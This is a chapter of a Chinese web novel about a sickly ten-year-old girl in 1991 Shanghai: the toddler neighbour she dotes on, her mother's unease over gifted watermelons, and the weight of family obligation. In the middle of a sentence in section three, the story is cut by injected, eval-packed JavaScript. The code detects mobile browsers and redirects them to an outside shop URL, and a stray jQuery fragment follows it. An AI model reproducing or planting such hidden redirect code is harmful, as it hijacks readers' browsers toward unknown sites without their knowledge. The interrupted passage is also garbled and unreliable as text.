一、闷热的午后，来了一只小花猫
1991年的夏天，在万体馆老房子的二楼，像个巨大的、黏稠的、正在缓慢发酵的蒸笼。
甘悠躺在发黄的竹席上，额头上沁着细密的汗珠。知了在外面梧桐树上叫得有气无力，声音像是被湿热的空气泡软了，黏糊糊地糊在耳朵里。穿堂风是有的，但微弱得像老人最后的叹息，带来的是隔壁阿婆家红烧带鱼的咸腥。
她没睡。眼睛睁着，盯着天花板上梧桐叶筛下来的光影，碎碎的，晃动的，像一池永远安静不下来的水。手指勾着脖子上那根红色尼龙绳，把塑料熊猫笔提到眼前。
熊猫还是那张憨憨的笑脸，黑白塑料在午后的光里泛着廉价的、过分鲜艳的光泽。可它现在不一样了。不再是生日清晨，妈妈递过来时，心里涌起的那阵单纯、羞涩又满怀期待的欢喜。它现在代表着一场盛大而疲惫的表演，一次猝不及防的丢失，还有易蕾姐姐递过来时，那份让她心里翻江倒海、说不出滋味的“让渡”。
是“她的”，又不完全是“她的”。
这根细小的鱼刺，就卡在她十岁夏天的喉咙里，咽不下去，也吐不出来，就那么不上不下地梗着，带着隐秘的刺痛。
“悠悠，吃药了。”
西贝端着温水和几粒白色药片走进来，脚步很轻。她穿着件洗得发白、领口都有些松垮的圆领汗衫，后背湿了一小片，紧紧贴在瘦削的肩胛骨上。她看了一眼女儿手里捏着的笔，眼神几不可察地闪烁了一下，随即飞快移开，把水杯和药递过去。
甘悠顺从地坐起来，接过药片，不用水，熟练地仰头吞了下去。苦涩的药粉在舌尖化开，留下一片麻木的涩。
“妈妈，” 她声音因为躺久了有些沙哑，“易蕾姐姐……什么时候回北京？”
西贝正拿着蒲扇给她轻轻扇风的手，顿了一下。“还早呢，暑假才过一半。你二姨那边工作忙，她可能要多住一阵。” 她看着女儿低垂的眼睫，补充道，“易蕾姐姐在，你不开心吗？她可以陪你看看书，讲讲闲话。”
甘悠摇了摇头，又点了点头。她不知道该怎么形容那种感觉。易蕾安静，不吵，但“陪她看书，讲闲话”？不，她们之间没有这种属于小姐妹的亲昵。从小就不生活在一起，易蕾的童年玩伴是韩璐，是西召。她有点……怕易蕾在。易蕾像一面擦得锃亮、毫无瑕疵的镜子，时刻映照出她的苍白、孱弱，和那份永远也追不上的、属于健康孩子的、理直气壮的明媚。
“没有不开心。” 她最终低声说，手指无意识地反复摩挲着熊猫笔光滑的笔杆，“就是……随便问问。”
西贝沉默了片刻。蒲扇又轻轻摇动起来，风里裹挟着她身上淡淡的力士香皂味，还有一丝挥之不去的疲惫。“悠悠，” 她声音放得很轻，“有些物事呢，看起来是独一份顶好。但有时候，能与人分享一下，也蛮好。”
甘悠猛地抬起头，看向妈妈。
西贝却没有看她。目光落在窗外被烈日炙烤得发白的弄堂墙面，眼神有些空茫。“你易蕾姐姐……她妈妈，就是你二姨，一个人带她在北京，不容易的。有些事体，有些物事，阿拉这边要是宽裕点，能想着她一点，就多想着点。不是偏心，是……一份情分。”
情分。
甘悠在心里默默咀嚼着这个词。她懂得“情分”是什么意思。是妈妈和舅舅、小姨之间那些剪不断、理还乱的牵扯；是外婆对每个子女、每个孙辈放不下的、沉甸甸的操心。现在，这个词像一张细细的网，也罩在了她和易蕾之间，罩在了这枝小小的熊猫笔上。
她低低地“嗯”了一声，重新躺回竹席，把熊猫笔更紧地攥在手心。塑料坚硬的边缘硌着柔软的掌心。
原来，在妈妈眼里，连这份生日礼物，也是“应该分享的情分”。
那她自己心里头，那点小小的、想要“独一份”的念头，是不是就显得……特别不懂事，特别自私？
就在这片沉闷的寂静里，一阵极其轻微、却持续不断的“唏唏嗦嗦”声，从门口传了过来。
西贝摇着蒲扇的手停了。
甘悠也好奇地转过头，看向那扇漆成墨绿色的、装着细密纱网的房门。
然后，她看见了一张小脸。
一张货真价实的、贴在纱门上的、被挤压得有些变形的小圆脸蛋。脸蛋的主人没什么表情——或者说，因为太过用力，整张小脸都绷紧了，嘴唇抿成一条倔强的直线，小小的鼻尖和额头死死抵在纱网上，以至于整张脸都“嵌”了进来，下颌线绷出一道属于两岁半孩子的、严肃到近乎好笑的弧度。
纱门被顶得微微向内凸起，细密的网格在她脸上印出整齐的菱形花纹。尤其是那个努力用力的、圆滚滚的小鼻子，在纱网上反复磨蹭，已经沾上了一层薄薄的、灰蒙蒙的灰尘，活像舞台上演丑角的小花脸。
是隔壁4室的邻居晓雅阿姨的女儿，霞子（父亲是复姓端木，全名有点日式范儿，端木霞子）
一个顶着满头天生棕色小卷毛、皮肤白净得像剥了壳的鸡蛋、眼睛又大又圆、睫毛长得能搁住火柴棍的——“洋囡囡投胎”的小人儿。
“哎呀！霞子！侬哪能又跑过来啦？” 西贝一看那小花脸，又是好气又是好笑，赶紧放下蒲扇起身。甘悠也眼睛一亮，跟着坐了起来。
西贝快步走过去，拉开里面厚重的木门，再小心地打开纱门。小人儿因为突然失去支撑，差点一个趔趄向前扑倒，被西贝眼疾手快地一把捞住。
“唔……悠悠……阿姐……玩……” 霞子站稳了，仰起小脸，一双琉璃珠子似的大眼睛看看西贝，又看看屋里的甘悠，小嘴嘟着，发出几个含糊的音节。
得，这是家里大人一没看住，又自己“越狱”成功，熟门熟路摸过来找她心心念念的玩伴了。
“看看侬这只小花猫哦！” 西贝蹲下身，用手指轻轻点了点霞子那个灰扑扑的小鼻子，忍俊不禁。她转身去拿了条干净毛巾，用凉水浸湿、拧干，动作轻柔地给她擦脸。小孩子的皮肤嫩得像豆腐，西贝擦得格外仔细，眼角眉梢，鼻翼两侧，特别是那个“重灾区”小鼻头，擦了一遍，毛巾上就灰了一道。她又不厌其烦地去洗了洗毛巾，回来再擦一遍。
霞子倒是乖，仰着小脸任她擦，只是眼睛一直没离开过屋里的甘悠，小脚丫不安分地在地上一点一点。
终于擦干净了，又是个白玉团子般雪雪白的小人儿。西贝刚松开手，霞子就像颗出膛的小炮弹，“噔噔噔”冲过小小的过道，直奔竹席上的甘悠。
“慢点跑！当心绊倒！” 西贝在后面叮嘱。
霞子才不管，手脚并用地爬上对于她来说还有点高的竹席——甘悠伸手拉了她一把——然后一屁股坐在甘悠身边，伸出小短手，自来熟地就去摸甘悠脖子上挂着的熊猫笔。
“熊猫……” 她口齿不清地说，大眼睛里满是好奇。
甘悠由着她摸，心里那点因为“情分”和“分享”而生出的郁闷，不知不觉散了大半。她拿起旁边的蒲扇，开始给这个自动送上门来的、热烘烘的小火炉扇风。霞子立刻被蒲扇吸引了注意力，放开熊猫笔，转而去抓扇子柄，小手没什么力气，抓不住，甘悠就带着她的小手一起摇。
扇出来的风，带着竹篾的清香，拂过两个小姑娘汗津津的皮肤。
过了一会儿，就在这有规律的、轻轻的扇动中，身边那个一刻不停的小人儿，动静渐渐小了。甘悠低头一看，乐了——小家伙不知什么时候已经歪倒在竹席上，卷翘的睫毛安静地覆在下眼睑，小嘴微微张着，竟然就这么睡着了。睡得很沉，小胸脯一起一伏。
甘悠扇扇子的动作更轻、更慢了。她专注地看着霞子沉睡的侧脸，看着那在睡梦中还微微颤动的、蜜金色的长睫毛。一种柔软的、暖洋洋的情绪，悄悄填满了胸口那个因为生病和孤独而时常感到空洞的地方。
真好。她想。有个这样小小的、温暖的、全心全意依赖她、喜欢她的存在，真好。
又过了一会儿，门外传来急促的脚步声和晓雅压低的、带着焦急的呼喊：“霞子？霞子？侬只小出佬又跑到啥地方去啦？”
西贝忙走到门口，压低声音：“晓雅，轻点，在此地在此地，睡着了。”
晓雅探头进来，看见竹席上并排躺着的两个小姑娘——自家女儿睡得四仰八叉；甘悠侧着身，一只手还在有一下没一下地、极其轻柔地给霞子扇着风，眼神温柔——顿时松了口气。
“哎哟，这只小猢狲，一眨眼功夫又窜到侬此地来了。” 晓雅用气声说，轻手轻脚走进来，蹲在席子边看了看女儿，又抬头对西贝笑道，“西贝阿姐，真真麻烦侬了。侬看悠悠，多欢喜霞子呀，扇扇子扇得噶认真。”
西贝也笑了，看着女儿难得如此柔和宁静的侧脸：“伊是开心呀。从小生病，没啥小朋友一道白相。霞子肯过来，伊顶顶开心了。”
晓雅点点头，目光在两个女孩之间转了转，叹了口气，声音里带上一丝不舍：“可惜呀……阿拉下个月，就要去日本了。伊拉爸爸那边工作调过去了，要定居。估计要有三四年不好回来了。”
“去日本定居啊？” 西贝微微惊讶，随即了然，也生出些不舍来。她太了解自己女儿了。“那悠悠肯定要舍不得了。”
“是呀，霞子肯定也要哭鼻头的，伊顶顶欢喜悠悠阿姐了。” 晓雅说着，伸手轻轻捋了捋女儿汗湿的额发，“不过阿拉有探亲假的呀，总会回来看看的。到时候再让两个小囡一道白相。”
她们轻声说着话，甘悠却像是完全没听见。她的世界里，此刻仿佛只剩下竹席这一方小小的天地，只剩下身边这个熟睡的、散发着奶香味的小人儿，只剩下手里这把需要不停摇动、才能带来一丝凉风的蒲扇。
二、泡面的情谊，与终将到来的遗忘
晚饭时分，天光还亮着。霞子被饭菜的香气勾醒了，揉着惺忪的睡眼坐起来，看见甘悠，立刻露出一个毫无阴霾的、大大的笑容，张开小胳膊就要抱。
西贝家的晚饭很简单。夏天天热，常常就是一大锅菜泡饭。今天的是番茄蛋花泡饭，里面还加了点切得细细的黄花菜和豆芽。另外就是一碟酱瓜，一碟腐乳。
西贝给霞子准备了甘悠小时候用过的、巴掌大的小竹椅，把小竹椅放在吃饭的方凳上。甘悠接过盛了泡饭的小碗和勺子，开始了她乐在其中的“喂饭工程”。霞子吃饭很香，小嘴“吧嗒吧嗒”，对甘悠递过来的每一勺都来者不拒，吃得摇头晃脑。她似乎格外喜欢西贝家的菜泡饭。
甘悠看着霞子鼓着腮帮子努力咀嚼的样子，心里涨满了柔软的成就感。她自己都没吃几口，光顾着喂霞子了。
等到小碗彻底空了，霞子还意犹未尽地张着小嘴。甘悠下意识地又想去盛，被西贝及时拦住了。
“好了好了，不能再吃了。” 西贝伸手轻轻按了按霞子圆滚滚的小肚皮，笑道，“小人吃得太撑，肚皮要吃不消的。悠悠，侬自家也快点吃，饭要冷了。”
甘悠这才恋恋不舍地放下碗，但还是忍不住伸手，用指尖轻轻捏了捏霞子吃得红扑扑的、嫩豆腐似的小脸蛋。指尖传来的触感柔软温热，带着孩子特有的、蓬勃的生命力。
霞子也咯咯地笑，一点不怕生，反而伸出小胖手，抓住了甘悠的一根手指，紧紧攥着。
天色渐渐暗下来，梧桐树巨大的影子斜斜地投在弄堂斑驳的墙上。霞子吃饱了犯困，小脑袋一点一点。晓雅过来接她，小人儿迷迷瞪瞪地被妈妈抱起来，软软的小胳膊还朝着甘悠的方向伸了伸，含糊地嘟囔了一句“悠悠阿姐，明天再白相……”
甘悠站在门口，一直看着晓雅阿姨抱着霞子走进隔壁门洞，消失在昏暗的光线里，才慢慢转过身。心里那块被霞子的软糯填满的地方，又空了一块。夏夜闷热的空气重新包裹上来。
她走回屋里，西贝正在收拾碗筷，动作麻利，背脊却微微弓着。
“妈妈，我来帮你。” 甘悠走过去。
“不用不用，侬去困一歇，当心等歇又要喘。” 西贝避开她的手，语气是习惯性的关心。
甘悠看着刚被霞子小手握住的食指，这被全然信赖、被需要的感觉，是如此熟悉，又如此珍贵。甘悠的心，被这简单的温暖填得满满的。她忽然想起更早以前，也是这样一个下午，晓雅阿姨有急事，把霞子交给了她那才二十出头、自己还是个半大孩子的弟弟。
结果不到半小时，甘悠就听到门外传来霞子惊天动地的哭嚎，和年轻男人手忙脚乱的安抚。门被敲响了，敲得又急又乱。
打开门，是晓雅弟弟那张写满崩溃的年轻脸庞，头发乱糟糟，T恤衫上还有可疑的水渍。他怀里抱着个哭得脸蛋通红、鼻涕眼泪糊了一脸的霞子。
“悠悠！救命！” 年轻男孩看到甘悠，眼睛都亮了，“帮帮忙，帮我看看她，就一会儿！我女朋友在人民广场等着呢，再不去要出人命了！” 他语无伦次，试图把哭得直打嗝的霞子往甘悠这边送。
甘悠甚至没来得及说话，本能地伸出手，霞子就像找到了救命稻草，哭声瞬间低了八度，抽抽噎噎地扑进了甘悠怀里，小胖手紧紧抓住甘悠的衣襟。
年轻舅舅如蒙大赦，连声道谢：“交给你了交给你了！悠悠你真是大好人！” 话音未落，人已经像阵风一样冲下了楼。
甘悠抱着沉甸甸、热烘烘、还在小声抽泣的霞子，心里却奇异地升起一股巨大的满足和喜悦。“交给我！” 这三个字，在她胸膛里撞出清脆的回响。她小心地关上门，把喧嚣关在外面。
“霞子不哭，霞子乖，阿姐在这里哦。” 她学着妈妈的样子，轻轻拍着霞子的背，声音温柔。她把霞子抱到竹席上，用湿毛巾仔仔细细擦干净那张小花脸。霞子果然渐渐止住了哭泣，只是还委屈地扁着嘴，大眼睛湿漉漉地看着甘悠。
到了傍晚，霞子开始不安地扭动，小嘴一瘪一瘪。甘悠立刻领悟，跑去找西贝留下的备用粮食——一包“美味肉蓉面”。她不太熟练地烧水、泡面，小心地挑散，鼓起腮帮子吹了又吹。
说来也怪，晓雅阿姨说过，霞子在家挑食得很，这种“垃圾食品”是看都不看的。可那天，坐在甘悠家的竹席上，就着甘悠手里那个有缺口的蓝边碗，霞子吃得别提多香。甘悠一小口一小口地喂，她就乖乖地张嘴，腮帮子塞得鼓鼓的。面条的热气熏红了两个人的脸。
看着霞子吃得香，甘悠自己也觉得饿了。于是，一碗泡面，你一口，我一口，很快就见了底，连汤都喝得干干净净。甘悠还翻出了自己平时舍不得吃、藏在铁皮饼干盒里的几块动物饼干，掰碎了喂给霞子。小家伙来者不拒，吃得心满意足，最后抱着甘悠的胳膊，打了一个带着泡面味和饼干香的、小小的饱嗝。
等到晓雅阿姨匆匆赶回来，看到的就是这样一幅景象：自家女儿小肚皮圆滚滚地躺在甘悠腿上，手里还捏着半块小兔子饼干，睡得脸蛋红扑扑；甘悠则背靠着墙，有一下没一下地拍着霞子，自己也有些昏昏欲睡，嘴角却带着一丝浅浅的、心满意足的笑意。
晓雅又感激又好笑，连声道谢。霞子在睡梦中还不乐意地哼唧了几声，小手抓着甘悠的衣角不肯放。最后还是甘悠轻声哄着，才让晓雅成功抱走。
那样被全然信赖、被需要、彼此分享一碗泡面、几块饼干的日子，简单、温暖，充满了最直接的快乐。甘悠以为，这样的日子会像窗外梧桐树的叶子，落了又长。
三、西瓜的甜，与未说出口的“情分”
甘悠默默走到窗边。窗外，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621398|206185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
万家灯火次第亮起。楼下似乎又有隐约的说话声，邻居沉闷的咳嗽声等等。甘悠没有仔细去听，她忽然觉得有点累，心里头沉甸甸的。
脖子上那根红绳，又开始若有若无地硌着皮肤。
就在这时，一阵“突突突”的引擎声由远及近，打破了弄堂傍晚的宁静。那声音粗重，最后停在了她们家楼下的天井外。
“西瓜来喽！西贝！西贝在屋里厢伐？”
一个洪亮的、带着北方口音又混杂了上海话调调的男声传了进来。
是曹科长。妈妈厂里采购供销科的老曹，曹大勇。
西贝停下了手里的动作，擦了擦手，脸上掠过一丝极快的复杂情绪。她快步走到窗前，朝下看了一眼：“是曹叔叔。估计又是厂里拉来西瓜。我下去看看，侬在楼上，不要下来吹风。” 她说着，匆匆下了楼。
甘悠忍不住好奇，趴到窗边往下看。
楼下大门口，停着一辆深绿色、沾满尘土的“东风”大卡车，车斗里密密麻麻堆满了墨绿色的西瓜，像一座小山。曹科长人高马大，穿着洗得发白的蓝色工装，正指挥两个年轻小伙往下搬西瓜。
“轻点轻点！别磕着了！” 曹科长嗓门很大。他一抬头，看见了窗边的甘悠，立刻咧开嘴笑着挥手：“悠悠！在看西瓜啊？等歇让侬妈妈开一个最甜的给侬吃！”
甘悠有些不好意思，往后缩了缩，怯生生地点了点头。
西贝已经下了楼，走到天井门口：“曹科长，哪能好意思，又麻烦侬特地送过来。太多了，阿拉屋里厢就两口人，哪能吃得光？”
“哎呀，西贝同志，跟我就不要客气了！” 曹科长一挥手，带着工人干部特有的豪气，“厂里这次去南汇拉的瓜，正宗解放瓜，沙瓤，甜得不得了！分到阿拉科室有多，天又热，放两天就不灵了。大家分分掉，不浪费嘛！” 他边说，边亲自弯腰拎起两个大西瓜，熟门熟路地往楼梯口走，“来来来，小张小王，帮西医生搬上去！就放二楼门口！”
那两个年轻工人应了一声，也利索地抱起西瓜跟上。
西贝跟在后面，有点手足无措：“曹科长，真用不着这么多！三只，最多三只就够了！十只八只的，要吃到来年开春了！”
“十只八只？西贝侬也太小看阿拉的战斗力了！” 曹科长已经上了楼，声音嗡嗡地传下来，“天热，多吃点西瓜，消暑！悠悠身体弱，西瓜利尿清热的呀！放心吃！”
就这么几句话的功夫，十来个墨绿滚圆的大西瓜，已经整整齐齐码在了二楼房门外的过道里，绿油油一片，带着田野的气息和夏日的分量。
西贝看着这堆西瓜，又是感激，又实在是为难。她掏出手帕擦汗：“曹科长，这……叫我哪能过意得去。侬等等，我拿点钞票……”
“哎！打住！” 曹科长一听，脸立刻板了起来，“西贝，侬这就没意思了！厂里处理的福利瓜，我顺路带过来，要啥钞票？侬这是看不起我老曹，还是看不起厂里发的福利啊？”
“不是，曹科长，我不是这个意思……”
“不是这个意思就收下！” 曹科长一锤定音，脸色缓和下来，拍拍西瓜，“给悠悠吃，也给你自家吃。侬一天到晚在医务室忙，也要注意身体。” 他目光似乎不经意地扫过西贝身上发白的汗衫，很快移开。“小张，小王，走了走了，仓库里还有一车要卸呢！” 他不再给西贝推拒的机会，招呼着工人转身下楼。
“曹科长，喝口茶再走呀！” 西贝追到楼梯口。
“不喝了不喝了，下趟！” 曹科长头也不回地挥手下楼。很快，卡车引擎“突突突”地远去，消失在弄堂深处。
西贝站在楼梯口，望着空荡荡的弄堂口，怔了一会儿。晚风吹起她额前汗湿的碎发。她转过身，看着门口那堆小山似的西瓜，在昏暗的廊灯下泛着幽绿的光。她轻轻叹了口气。
甘悠一直趴在窗边看着。她看到曹科长风风火火地来，又风风火火地走。看到妈妈站在西瓜前那怔忡的背影。看到妈妈抬手，似乎很轻地、很快地，用手指抹了一下眼角。
是汗水流进眼睛里了吗？甘悠不确定。
她只是忽然觉得，曹科长送来的似乎不只是西瓜。那沉甸甸的十几只瓜，像某种无声的、具象化的东西，压在了妈妈瘦削的肩头，也压在了这个闷热的傍晚。
又是“情分”吗？甘悠模糊地想。和易蕾姐姐的熊猫笔一样，和楼下舅妈嘴里算计的“钞票”一样……都是那种黏糊糊的、推不开也还不清的东西。
西贝在门口站了一会儿，才弯腰抱起一个西瓜。瓜很大，她抱得有些吃力，身子微微晃了一下。
“妈妈，我来帮你！” 甘悠跑过去。
“不用，侬走开点，重煞了。” 西贝侧过身，用膝盖顶了一下，才把瓜抱进屋里，放在饭桌底下阴凉的地方。然后，又一趟一趟，把剩下的西瓜挪进来。
“我能推着它们走啊，妈妈你看, 我厉害吧” 甘悠弓着身子用手臂向屋里推着西瓜。
“厉害，厉害” 西贝宠溺的说。
终于搬完了。西贝额头上全是汗，后背的汗衫湿透了更大一片。她扶着腰喘了口气，看着堆了小半个墙角的西瓜。
“妈妈，” 甘悠小声开口，手指摸着脖子上的熊猫笔，“曹叔叔……为啥对阿拉噶好？”
西贝动作顿了一下。她走到水斗边，用凉水洗了把脸，冰凉的水刺激得她激灵一下。她用毛巾擦着脸，过了一会儿，才声音平平地说：“曹科长是好人。厂里领导，照顾下属，应该的。”
这个回答，很像大人敷衍小孩子时说的话。甘悠听出来了。她没有再追问。
“明天，挑一个最熟的，开了吃。” 西贝走过来，摸了摸甘悠的头，手指带着未散的凉意，“剩下的，看看要不要给你外公外婆、舅舅小姨他们送点过去。天热，也放不长。”
看，又要“送过去”。甘悠想。熊猫笔是“情分”，要分享。西瓜是“照顾”，也要分享。好像在这个家里，在这个由各种“情分”编织成的网络上，没有什么东西是可以完完全全、只属于一个人，安安稳稳享用的。
“嗯。” 她低低应了一声，目光落在墙角那堆西瓜上。在昏暗的光线下，它们圆滚滚的，沉默着，像一堆墨绿色的、甜蜜的负担。
窗外，夜色完全降临了。弄堂里纳凉的人声、竹椅拖动声、收音机里咿咿呀呀的沪剧声，混杂着飘进来。但这一切，似乎都隔着一层。
夜风吹进来，带着一丝凉意，吹干了西贝后背的汗，也吹动了甘悠额前的刘海。
她忽然想起下午霞子攥着她手指时，那软乎乎、热烘烘的触感。那感觉如此真实，如此温暖，如此……简单。不牵扯“情分”，不涉及“分享”，只是一个懵懂的小人儿，全心全意的信赖和喜欢。
可是霞子也要走了，去很远很远的日本。
甘悠慢慢走回窗边，看向隔壁那扇已经亮起暖黄色灯光的窗户。晓雅阿姨大概在给霞子洗澡，准备睡觉了吧。
她低下头，看着手心里，下午握着蒲扇给霞子扇风时，被竹篾压出的一道浅浅的红印。
这红印会消失。霞子会忘记她。西瓜会被吃掉，或者被分送出去。热闹的生日宴会散去，只留下一地狼藉和一根让她喉咙发紧的熊猫笔。
夏天还很长。知了还在不知疲倦地叫着。
而有些东西，在她十岁这年的夏天，在这个闷热、黏腻、充满了西瓜甜香和“情分”重量的夜晚，正悄无声息地、缓慢而坚定地，沉淀到她生命的河床深处。关于得到与失去，关于记得与遗忘，关于纯粹与复杂，关于那名为“情分”的、巨大而黏稠的网，以及身处网中，那份微妙的、冰凉的、逐渐清晰的孤独。